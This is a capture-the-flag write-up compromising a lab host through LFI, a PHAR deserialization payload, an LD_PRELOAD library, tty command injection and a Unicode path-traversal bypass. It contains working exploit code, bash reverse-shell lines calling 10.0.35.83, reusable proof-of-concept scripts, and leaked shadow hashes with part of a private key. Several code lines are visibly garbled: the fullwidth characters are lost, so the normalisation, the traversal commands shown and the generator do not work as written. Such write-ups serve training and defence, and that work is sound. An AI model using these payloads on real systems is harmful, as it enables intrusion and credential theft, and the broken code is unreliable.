Target Information
- IP Address: 172.16.3.1
- Difficulty: Hard
- Tags: Web, LFI, PHAR Deserialization, LD_PRELOAD Bypass, Python Capabilities, TTY Pushback, Unicode Bypass, Privilege Escalation
Reconnaissance
Port Scanning
Initial enumeration revealed two open ports:
nmap -sC -sV -p- --min-rate 500 -vvv -oA nmap 172.16.3.1Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://techacademy.hc/
Web Application:
- Main domain:
techacademy.hc - Backend: Node.js Express
Web Enumeration
Subdomain Discovery
During enumeration, I discovered a subdomain running a separate PHP application:
Subdomain found: certificated.techacademy.hc
Application Mapping
Main Application (techacademy.hc)
| Endpoint | Description |
|---|---|
/ | Landing page |
/login | Authentication |
/register | User registration |
/dashboard | User dashboard |
/perfil | Profile management |
/api/perfil/foto | Profile photo upload |
/cursos | Course listing |
Key JavaScript files:
/js/auth.js- Authentication logic/js/cursos.js- Course management
Certificate Application (certificated.techacademy.hc)
| Endpoint | Description |
|---|---|
/ | Landing page |
/login | PHP authentication |
/certified | Certificate viewer (vulnerable) |
/list-certificates | Certificate listing |
User Registration
I created test accounts on the main application:
username: qwerty@qwerty.com
password: qwerty
After authentication, the application stores user data in localStorage:
{"id":9,"name":"qwerty","email":"qwerty@qwerty.com","type":"student","photo_url":null}Discovery: Local File Inclusion (LFI)
I identified an LFI vulnerability in the certificate viewing functionality:
Endpoint: /certified?file=
Request:
GET /certified?file=/etc/passwd HTTP/1.1
Host: certificated.techacademy.hc
Referer: http://certificated.techacademy.hc/
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Cookie: PHPSESSID=kii4a4fabqi7c5qh91at7g87fh
Connection: closeResponse:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[...]
Shanah:x:1001:1001::/home/Shanah:/bin/bash
Arvid:x:1002:1002::/home/Arvid:/bin/bash
LFI confirmed! Discovered users: Shanah and Arvid
Exploitation: PHAR Deserialization + LD_PRELOAD Bypass
Attack Strategy
The target environment had PHP functions like exec(), system(), and shell_exec() disabled. To achieve RCE, I combined:
- PHAR Deserialization - To write arbitrary PHP files
- LD_PRELOAD Injection - To bypass disabled functions via
mail()
Step 1: Create Malicious Shared Library
I created a malicious .so file that hijacks the geteuid() function, which is called by mail():
evil.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
uid_t geteuid(void) {
unsetenv("LD_PRELOAD");
system("bash -c 'bash -i >& /dev/tcp/10.0.35.83/4444 0>&1'");
return 0;
}Compilation:
gcc -shared -fPIC -o evil.so evil.cStep 2: Create PHAR Payload
I crafted a PHAR archive disguised as a JPEG image, containing a serialized object that writes a PHP shell:
exploit.php:
<?php
namespace app\controller;
class Certificated {
public $data;
public $file;
}
$obj = new Certificated();
$obj->file = '/var/www/certificated/public/shell.php';
$obj->data = "<?php \$data = file_get_contents('http://10.0.35.83/evil.so');file_put_contents('/tmp/evil.so', \$data);putenv('LD_PRELOAD=/tmp/evil.so');mail('x@x.x', 'x', 'x'); ?>";
$phar = new \Phar('fpm_exploit.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($obj);
$phar->addFromString('x.txt', 'x');
$phar->stopBuffering();
rename('fpm_exploit.phar', 'fpm_exploit.jpg');
echo "File fpm_exploit.jpg created!\n";
?>Generate the payload:
php --define phar.readonly=0 exploit.phpStep 3: Upload Malicious Image
I uploaded the PHAR file as a profile photo on the main application:
Request:
POST /api/perfil/foto HTTP/1.1
Host: techacademy.hc
Content-Length: 613
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6OSwiZW1haWwiOiJxd2VydHlAcXdlcnR5LmNvbSIsInR5cGUiOiJzdHVkZW50IiwiaWF0IjoxNzY4NzU5OTU0LCJleHAiOjE3NjkzNjQ3NTR9.Ei3jgi5k8lPW6MPdw0fc604-oEPJVC90UyD8-dQbAnM
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynKoyFJ5IkIbiWKLz
Origin: http://techacademy.hc
Referer: http://techacademy.hc/perfil
------WebKitFormBoundarynKoyFJ5IkIbiWKLz
Content-Disposition: form-data; name="foto"; filename="fpm_exploit.jpg"
Content-Type: image/jpeg
GIF89a<?php __HALT_COMPILER(); ?>
[PHAR binary data with serialized payload]
------WebKitFormBoundarynKoyFJ5IkIbiWKLz--Response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"message":"Photo updated successfully","user":{"id":9,"name":"qwerty","email":"qwerty@qwerty.com","type":"student","photo_url":"/uploads/profile-1768780134008-34428157.jpg"}}File uploaded to: /uploads/profile-1768780134008-34428157.jpg
Step 4: Verify File Access via LFI
I confirmed the uploaded file is accessible through the LFI vulnerability:
Request:
GET /certified?file=/var/www/main/public/uploads/profile-1768780134008-34428157.jpg HTTP/1.1
Host: certificated.techacademy.hc
Cookie: PHPSESSID=kii4a4fabqi7c5qh91at7g87fhResponse:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
GIF89a<?php __HALT_COMPILER(); ?>
[...serialized payload visible...]Cross-application file access confirmed!
Step 5: Trigger PHAR Deserialization
Using the phar:// wrapper, I triggered the deserialization which writes the shell file:
Request:
GET /certified?file=phar:///var/www/main/public/uploads/profile-1768777730195-39419934.jpg HTTP/1.1
Host: certificated.techacademy.hc
Cookie: PHPSESSID=kii4a4fabqi7c5qh91at7g87fhResponse:
HTTP/1.1 200 OK
Content-Length: 0Shell file written to: /var/www/certificated/public/shell.php
Step 6: Execute Reverse Shell
Start listener:
penelope -p 4444Start HTTP server for evil.so:
sudo python3 -m http.server 80Trigger the shell:
GET /shell.php HTTP/1.1
Host: certificated.techacademy.hcResult:
[+] Got reverse shell from ip-172-16-3-1~172.16.3.1-Linux-x86_64 - Assigned SessionID <1>Reverse shell obtained as www-data!
Post-Exploitation
Database Credentials Discovery
I found database credentials in the application configuration:
File: /var/www/main/config/database.js
const mysql = require('mysql2/promise');
require('dotenv').config();
const dbConfig = {
host: process.env.DB_HOST || 'localhost',
user: process.env.DB_USER || 'shanah',
password: process.env.DB_PASSWORD || '7474ytfhcAA$$##$$',
database: process.env.DB_NAME || 'db',
waitForConnections: true,
connectionLimit: 10,
queueLimit: 0
};Credentials found:
- Username:
shanah - Password:
7474ytfhcAA$$##$$
Lateral Movement: www-data to Shanah
Password reuse allowed lateral movement:
www-data@ip-172-16-3-1:~$ su Shanah
Password: 7474ytfhcAA$$##$$
Shanah@ip-172-16-3-1:~$Lateral movement to Shanah successful!
Privilege Escalation: Shanah to Arvid (TTY Pushback)
Enumeration with LinPEAS
Running LinPEAS revealed an interesting finding - another user has an active tmux session:
$ ps aux | grep tmux
Arvid 1234 0.0 0.1 12345 6789 ? Ss 16:52 0:00 tmux new-session -s sessionCritical finding: A Python binary with special capabilities exists:
$ getcap /usr/local/bin/python3_cap
/usr/local/bin/python3_cap cap_sys_admin=epTTY Pushback Attack
The cap_sys_admin capability allows writing to other users' TTY devices. I exploited this to inject commands into Arvid's tmux session:
Step 1: Inject reverse shell command:
/usr/local/bin/python3_cap -c "import fcntl,os; fd=os.open('/dev/pts/0',os.O_WRONLY); [fcntl.ioctl(fd,0x5412,c) for c in 'bash -i >& /dev/tcp/10.0.35.83/4444 0>&1\n']; os.close(fd)"Result:
[+] Got reverse shell from ip-172-16-3-1~172.16.3.1-Linux-x86_64 - Assigned SessionID <3>Reverse shell obtained as Arvid!
Privilege Escalation: Arvid to Root (Unicode Bypass)
Sudo Enumeration
Arvid@ip-172-16-3-1:~$ sudo -l
User Arvid may run the following commands on ip-172-16-3-1:
(root) NOPASSWD: /opt/logviewer.shScript Analysis
File: /opt/logviewer.sh
#!/bin/bash
BASEDIR="/var/log/app"
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
INPUT="$1"
if [ -z "$INPUT" ]; then
echo "Usage: $0 <log_file>"
exit 1
fi
if [[ "$INPUT" =~ [[:space:]] ]]; then
echo "[BLOCKED] Spaces are not allowed"
exit 1
fi
if [[ "$INPUT" =~ \.\. ]]; then
echo "[BLOCKED] Path traversal detected (..)"
exit 1
fi
if [[ "$INPUT" =~ / ]] || [[ "$INPUT" =~ \\ ]]; then
echo "[BLOCKED] Slashes are not allowed"
exit 1
fi
if echo "$INPUT" | grep -qP '\x00'; then
echo "[BLOCKED] Null byte detected"
exit 1
fi
NORMALIZED_INPUT=$(echo "$INPUT" | sed 's/././g; s///\//g')
if [ -f "${BASEDIR}/${NORMALIZED_INPUT}" ]; then
echo "--- Reading file: ${NORMALIZED_INPUT} ---"
cat -- "${BASEDIR}/${NORMALIZED_INPUT}"
else
echo "Error: File ${BASEDIR}/${NORMALIZED_INPUT} not found."
exit 1
fiVulnerability identified: The script blocks ASCII dots (.) and slashes (/), but then normalizes Unicode fullwidth characters:
.(U+FF0E) →./(U+FF0F) →/
This allows bypassing the path traversal filter!
Exploitation: Read Sensitive Files
Read /etc/shadow:
sudo /opt/logviewer.sh ../../../etc/shadowOutput:
--- Reading file: ../../../etc/shadow ---
root:*:20383:0:99999:7:::
[...]
Shanah:$y$j9T$fA2jg14BJyqy4yPlhq.aO1$PtrJd5kdBhvCC2EIWSVuGpgXv.yaOS61xEElpEoZ.02:20467:0:99999:7:::
Arvid:$y$j9T$qeg280QHeJmvEOZuo4s0o/$fdJo0exmYB.lGQfJCp1CcdxE5ykCmmE4M/bPF3q47ZD:20467:0:99999:7:::
Read root's SSH private key:
sudo /opt/logviewer.sh ../../../root/.ssh/id_rsaOutput:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEArpbvul2hyF1HWN4v0vXph9mW1KdJnQGXjxfni1aArqPPZtVAKWgy
TLPWxIsQ3krgGPcg3Rvk5TIDzENT3arHObuJDUGFjMl6yWbzP5PV1dTXZpwj+Mh38TZcqf
[...]
cN+PJ47N2jNDvNAAAAFHJvb3RAaXAtMTcyLTE2LTMtMTMyAQIDBAUG
-----END OPENSSH PRIVATE KEY-----
Root SSH key obtained!
Root Access
chmod 600 id_rsa
ssh -i id_rsa root@172.16.3.1Result:
root@ip-172-16-3-1:~# whoami
rootROOT OBTAINED!
Attack Chain Summary
1. Subdomain Discovery (certificated.techacademy.hc)
↓
2. Local File Inclusion Discovery (/certified?file=)
↓
3. User Registration on Main App (techacademy.hc)
↓
4. Malicious PHAR Creation (disguised as JPEG)
↓
5. Profile Photo Upload (cross-app file placement)
↓
6. PHAR Deserialization Trigger (phar:// wrapper)
↓
7. PHP Shell Written + LD_PRELOAD Bypass
↓
8. Reverse Shell as www-data
↓
9. Database Credentials Discovery (shanah)
↓
10. Lateral Movement (www-data → Shanah)
↓
11. TTY Pushback Attack via Python Capabilities
↓
12. Lateral Movement (Shanah → Arvid)
↓
13. Unicode Bypass in logviewer.sh
↓
14. Root SSH Key Extraction
↓
15. Root Access via SSH
Vulnerabilities Summary
| Vulnerability | CWE | Severity | Impact |
|---|---|---|---|
| Local File Inclusion | CWE-22 | High | Arbitrary file read |
| PHAR Deserialization | CWE-502 | Critical | Remote Code Execution |
| Disabled Functions Bypass | CWE-693 | High | Security control bypass |
| Hardcoded Credentials | CWE-798 | Medium | Unauthorized access |
| Password Reuse | CWE-521 | Medium | Lateral movement |
| Excessive Capabilities | CWE-250 | High | Privilege escalation |
| TTY Pushback | CWE-269 | High | User impersonation |
| Unicode Normalization Bypass | CWE-176 | Critical | Path traversal |
| Exposed SSH Private Key | CWE-312 | Critical | Root compromise |
Mitigation Recommendations
Application Level
- Fix Local File Inclusion:
- Whitelist allowed files
- Use basename() to prevent traversal
- Never use user input directly in file operations
// Secure file access
$allowedFiles = ['certificate1.pdf', 'certificate2.pdf'];
$file = basename($_GET['file']);
if (!in_array($file, $allowedFiles)) {
die('Invalid file');
}- Prevent PHAR Deserialization:
- Disable phar:// wrapper
- Validate file contents, not just extensions
- Use
__wakeup()and__destruct()carefully
// Disable PHAR wrapper
stream_wrapper_unregister('phar');-
Secure File Uploads:
- Validate MIME types server-side
- Store uploads outside web root
- Generate random filenames
-
Remove Hardcoded Credentials:
- Use environment variables
- Implement secrets management
const dbConfig = {
host: process.env.DB_HOST,
user: process.env.DB_USER,
password: process.env.DB_PASSWORD,
database: process.env.DB_NAME,
};System Level
- Remove Dangerous Capabilities:
# Remove cap_sys_admin from python
setcap -r /usr/local/bin/python3_cap- Fix Unicode Bypass in Scripts:
- Normalize input BEFORE validation, not after
- Use strict character whitelisting
# Secure validation - normalize first
NORMALIZED_INPUT=$(echo "$INPUT" | sed 's/././g; s///\//g')
# Then validate the normalized input
if [[ "$NORMALIZED_INPUT" =~ \.\. ]]; then
echo "[BLOCKED] Path traversal detected"
exit 1
fi- Protect SSH Keys:
# Ensure proper permissions
chmod 600 ~/.ssh/id_rsa
chmod 700 ~/.ssh
# Consider using SSH certificates instead- Disable LD_PRELOAD for web services:
# In systemd service file
[Service]
Environment="LD_PRELOAD="
SecureExec=true- Implement AppArmor/SELinux:
- Restrict file access for web applications
- Prevent cross-application file access
Tools Used
- nmap - Port scanning and service detection
- Burp Suite - Web vulnerability analysis
- Penelope - Reverse shell handler
- LinPEAS - Linux privilege escalation enumeration
- GCC - Compiling malicious shared library
Proof of Concept Scripts
PHAR Payload Generator
#!/usr/bin/env php
<?php
namespace app\controller;
class Certificated {
public $data;
public $file;
}
$lhost = $argv[1] ?? '10.0.35.83';
$lport = $argv[2] ?? '4444';
$obj = new Certificated();
$obj->file = '/var/www/certificated/public/shell.php';
$obj->data = "<?php \$data = file_get_contents('http://{$lhost}/evil.so');file_put_contents('/tmp/evil.so', \$data);putenv('LD_PRELOAD=/tmp/evil.so');mail('x@x.x', 'x', 'x'); ?>";
$phar = new \Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($obj);
$phar->addFromString('x.txt', 'x');
$phar->stopBuffering();
rename('exploit.phar', 'exploit.jpg');
echo "[+] Payload created: exploit.jpg\n";
echo "[+] LHOST: {$lhost}\n";
echo "[+] LPORT: {$lport}\n";
?>LD_PRELOAD Bypass Library
// evil.c - Compile with: gcc -shared -fPIC -o evil.so evil.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
uid_t geteuid(void) {
unsetenv("LD_PRELOAD");
system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'");
return 0;
}TTY Pushback Script
#!/usr/bin/env python3
import fcntl
import os
import sys
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <tty_device> <command>")
sys.exit(1)
tty_device = sys.argv[1]
command = sys.argv[2] + '\n'
fd = os.open(tty_device, os.O_WRONLY)
for char in command:
fcntl.ioctl(fd, 0x5412, char) # TIOCSTI
os.close(fd)
print(f"[+] Command injected to {tty_device}")Unicode Path Traversal Generator
#!/usr/bin/env python3
import sys
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <path>")
print(f"Example: {sys.argv[0]} ../../../etc/passwd")
sys.exit(1)
path = sys.argv[1]
unicode_path = path.replace('.', '.').replace('/', '/')
print(f"[+] Original: {path}")
print(f"[+] Unicode: {unicode_path}")Flags
User Flag: /home/Shanah/user.txt or /home/Arvid/user.txt
Root Flag: /root/root.txt
References
PHAR Deserialization:
LD_PRELOAD Bypass:
TTY Pushback:
Unicode Normalization:
CWE References:
- CWE-22: Path Traversal
- CWE-176: Unicode Encoding
- CWE-250: Execution with Unnecessary Privileges
- CWE-502: Deserialization of Untrusted Data
- CWE-693: Protection Mechanism Failure
- CWE-798: Hardcoded Credentials
Author: cbxcvl Date: January 18, 2026 Machine: Tech Academy